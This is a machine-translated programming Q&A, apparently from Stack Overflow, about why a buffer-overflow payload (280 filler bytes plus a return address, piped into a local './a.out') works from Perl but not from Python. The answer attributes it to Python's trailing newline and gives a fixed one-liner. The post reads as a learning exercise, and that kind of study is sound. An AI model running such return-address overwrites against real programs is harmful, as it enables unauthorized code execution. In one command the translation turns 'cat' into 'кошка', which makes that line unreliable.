Почему мой эксплойт работает в Perl, но не в Python

Я пытаюсь использовать переполнение буфера. Я не думаю, что полезно публиковать мою программу на C. Этот эксплойт работает:

(perl -e 'print "a" x 280 . "\xf6\x06\x40\x00\x00\x00\x00\x00"' ; cat) | ./a.out

Но этот не

(python -c 'print("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; кошка) | ./a.out

Я не вижу ничего другого, кроме языка, которым я пользуюсь. Кто-нибудь может сказать мне, есть ли разница?

Спасибо


person S7_0    schedule 29.10.2016    source источник


Ответы (1)


Да, есть разница. Функция Perl print по умолчанию не печатает новую строку, в отличие от Python. В Python попробуйте:

(python -c 'import sys ; sys.stdout.write("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out
person eddiem    schedule 19.11.2016